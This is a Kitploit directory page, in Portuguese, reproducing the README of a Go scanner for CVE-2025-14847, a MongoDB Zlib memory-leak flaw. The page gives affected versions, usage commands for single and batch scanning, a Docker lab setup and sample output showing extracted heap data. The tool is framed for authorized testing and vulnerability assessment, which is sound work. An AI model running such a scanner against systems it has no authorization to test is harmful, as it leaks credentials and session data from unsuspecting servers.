Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-14847 — Ferramenta de detecção de vulnerabilidade de vazamento de memória do MongoDB (CVE-2025-14847) | Kitploit
Ferramentas/GitHubGitHub/onewinner/cve-2025-14847
Scanners de VulnerabilidadesForensia de MemóriaExploraçãoColeta de InformaçõesTestes de PenetraçãoSegurança de Banco de Dados
GitHubonewinner/cve-2025-14847

CVE-2025-14847

Ferramenta de detecção de vulnerabilidade de vazamento de memória do MongoDB (CVE-2025-14847)

Ver Repositório
14221há 9 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Ferramenta de Detecção de Vulnerabilidade CVE-2025-14847 do MongoDB

Ferramenta de Detecção de Vazamento de Memória do MongoDB (CVE-2025-14847)


⚠️ Aviso Importante: Esta ferramenta destina-se exclusivamente a testes de segurança autorizados e avaliação de vulnerabilidades. O uso não autorizado pode violar a lei.


📋 Índice

  • Descrição da Vulnerabilidade
  • Funcionalidades
  • Instalação
  • Modo de Usar
  • Configuração do Ambiente de Teste
  • Exemplo de Saída
  • Princípio de Detecção
  • Recomendações de Correção
  • Aviso Legal

🔍 Descrição da Vulnerabilidade

CVE-2025-14847 é uma grave vulnerabilidade de vazamento de memória no processamento do protocolo de compressão Zlib do MongoDB. Um atacante pode enviar pacotes de compressão maliciosamente construídos, fazendo com que o MongoDB retorne dados de heap não inicializados, que podem conter informações sensíveis.

Versões Afetadas

Faixa de VersãoStatus
8.2.0 - 8.2.2⚠️ Afetado
8.0.0 - 8.0.16⚠️ Afetado
7.0.0 - 7.0.27⚠️ Afetado
6.0.0 - 6.0.26⚠️ Afetado
5.0.0 - 5.0.31⚠️ Afetado
4.4.0 - 4.4.29⚠️ Afetado
4.2.x todas as versões⚠️ Afetado
4.0.x todas as versões⚠️ Afetado
3.6.x todas as versões⚠️ Afetado

Impacto da Vulnerabilidade

  • 🔴 Gravidade: CVSS 8.7 (Alto)
  • 💾 Vazamento de dados sensíveis da memória heap
  • 🔑 Pode conter senhas, tokens de sessão, chaves de criptografia, etc.
  • 🚫 Exploração sem necessidade de autenticação
  • 🌐 Explorável remotamente

✨ Funcionalidades

  • ✅ Detecção Inteligente - Identifica automaticamente a versão do MongoDB e determina se é afetada
  • ✅ Dupla Verificação - Detecção de versão → Detecção de suporte Zlib → Extração de vazamento de memória
  • ✅ Escaneamento de Alvo Único - Detecta rapidamente uma única instância MongoDB
  • ✅ Escaneamento em Lote - Lê uma lista de alvos de um arquivo para detecção em lote
  • ✅ Escaneamento Concorrente - Suporta múltiplas threads para maior eficiência
  • ✅ Saída em Tempo Real - Exibe dados de memória vazados instantaneamente
  • ✅ Exportação de Resultados - Salva automaticamente alvos vulneráveis em um arquivo
  • ✅ Saída Limpa - Formato de saída unificado, claro e objetivo

🚀 Instalação

Método 1: Compilar a partir do código-fonte

# Clonar o repositório
git clone https://github.com/onewinner/CVE-2025-14847.git
cd CVE-2025-14847

# Instalar dependências
go mod download

# Compilar
go build -o mongodb-scanner main.go

# Executar
./mongodb-scanner -t 127.0.0.1:27017

Método 2: Executar diretamente

go run main.go -t 127.0.0.1:27017

Método 3: Baixar versão pré-compilada

Acesse a página Releases para baixar a versão pré-compilada adequada ao seu sistema.

📖 Modo de Usar

Uso Básico

# Escanear um único alvo
./mongodb-scanner -t 127.0.0.1:27017

# Escanear em lote a partir de um arquivo
./mongodb-scanner -f targets.txt

# Escaneamento em lote (20 threads)
./mongodb-scanner -f targets.txt -c 20

# Escanear e salvar alvos vulneráveis
./mongodb-scanner -f targets.txt -o vulnerable.txt

# Faixa de offset personalizada (escaneamento mais rápido ou mais profundo)
./mongodb-scanner -t 127.0.0.1:27017 --min-offset 20 --max-offset 1000

Parâmetros da Linha de Comando

ParâmetroDescriçãoValor Padrão
-t <alvo>Alvo único (ex: 127.0.0.1:27017)-
-f <arquivo>Arquivo de alvos (um alvo por linha)-
-c <num>Número de threads concorrentes10
-timeout <tempo>Tempo limite de conexão2s
-o <arquivo>Arquivo de saída (salvar alvos vulneráveis)-
--min-offset <num>Offset mínimo do comprimento do documento20
--max-offset <num>Offset máximo do comprimento do documento8192

Formato do Arquivo de Alvos

Crie um arquivo targets.txt:

# Lista de alvos MongoDB
127.0.0.1:27017
192.168.1.100:27017
mongodb.example.com:27017

# Se a porta não for especificada, a porta padrão é 27017
192.168.1.101

🐳 Configuração do Ambiente de Teste

Para testar esta ferramenta com segurança, recomenda-se usar Docker para montar um ambiente de teste local.

Iniciar rapidamente um MongoDB vulnerável

# Iniciar MongoDB 6.0.14 (versão afetada) com compressão Zlib ativada
docker run -d \
  --name mongodb-vulnerable \
  -p 27017:27017 \
  mongo:6.0.14 \
  --networkMessageCompressors snappy,zlib

# Verificar status do contêiner
docker ps

# Testar a vulnerabilidade
./mongodb-scanner -t 127.0.0.1:27017

Usando Docker Compose

Crie um arquivo docker-compose.yml:

version: '3.8'

services:
  # Versão afetada (com Zlib ativado)
  mongodb-vulnerable:
    image: mongo:6.0.14
    container_name: mongodb-vulnerable
    ports:
      - "27017:27017"
    command: mongod --networkMessageCompressors snappy,zlib

  # Versão corrigida (para teste comparativo)
  mongodb-patched:
    image: mongo:6.0.27
    container_name: mongodb-patched
    ports:
      - "27018:27017"
    command: mongod --networkMessageCompressors snappy,zlib

volumes:
  mongodb-data:
  mongodb-patched-data:

Iniciar o ambiente de teste:

# Iniciar todos os contêineres
docker-compose up -d

# Testar a versão afetada
./mongodb-scanner -t 127.0.0.1:27017

# Testar a versão corrigida
./mongodb-scanner -t 127.0.0.1:27018

# Parar e limpar
docker-compose down -v

Limpar o Ambiente de Teste

# Parar e remover contêineres
docker stop mongodb-vulnerable && docker rm mongodb-vulnerable

# Limpar volumes de dados
docker volume prune -f

📊 Exemplo de Saída

Descrição do Formato de Saída

A ferramenta usa prefixos uniformes para marcar as informações de saída:

  • [*] - Informações (alvo, versão, configuração, etc.)
  • [+] - Sucesso/vulnerável/dados extraídos
  • [-] - Falha/seguro/não vulnerável
  • [!] - Aviso/nota importante

Escaneamento de Alvo Único - Vulnerável

╔══════════════════════════════════════════════════════════════╗
║  Ferramenta de Detecção de Vulnerabilidade CVE-2025-14847   ║
╚══════════════════════════════════════════════════════════════╝
⚠️  Apenas para testes de segurança autorizados | Testes não autorizados podem ser ilegais

[*] Alvo: 1 | Threads: 10 | Timeout: 2s | Offset: 20-1000
[*] Iniciando escaneamento...

[*] Alvo: 127.0.0.1:27017
[*] Versão: 6.0.14
[+] Versão vulnerável: Sim
[+] Compressão Zlib: Ativada
[!] Vulnerabilidade explorável, iniciando extração de memória...
[+] offset=229 comprimento=250: :00\"},\"s\":\"I\",  \"c\":\"NETWORK\",  \"id\":22944,   \"ctx\":\"conn102932\",

[+] 127.0.0.1:27017 - Vulnerabilidade explorável (v6.0.14) - 3468ms
[+] 1 item de dados de memória extraído com sucesso:
    [1] :00\"},\"s\":\"I\",  \"c\":\"NETWORK\",  \"id\":22944,   \"ctx\":\"conn102932\",\"msg\":\"Connection ended\",\"attr\":{\"remote\":\"172.17.0.1:44936\"...

======================================================================
[*] Escaneamento concluído | Total: 1 | Explorável: 1 | Seguro: 0 | Tempo: 3.4s
======================================================================

Escaneamento de Alvo Único - Versão Segura

[*] Alvo: 127.0.0.1:27018
[*] Versão: 6.0.27
[-] Versão vulnerável: Não

[-] 127.0.0.1:27018 - Versão segura (v6.0.27) - 156ms

======================================================================
[*] Escaneamento concluído | Total: 1 | Explorável: 0 | Seguro: 1 | Tempo: 0.2s
======================================================================

Escaneamento de Alvo Único - Zlib não ativado

[*] Alvo: 127.0.0.1:27017
[*] Versão: 6.0.14
[+] Versão vulnerável: Sim
[-] Compressão Zlib: Não ativada

[-] 127.0.0.1:27017 - Zlib não ativado (v6.0.14) - 234ms
Baixar ferramenta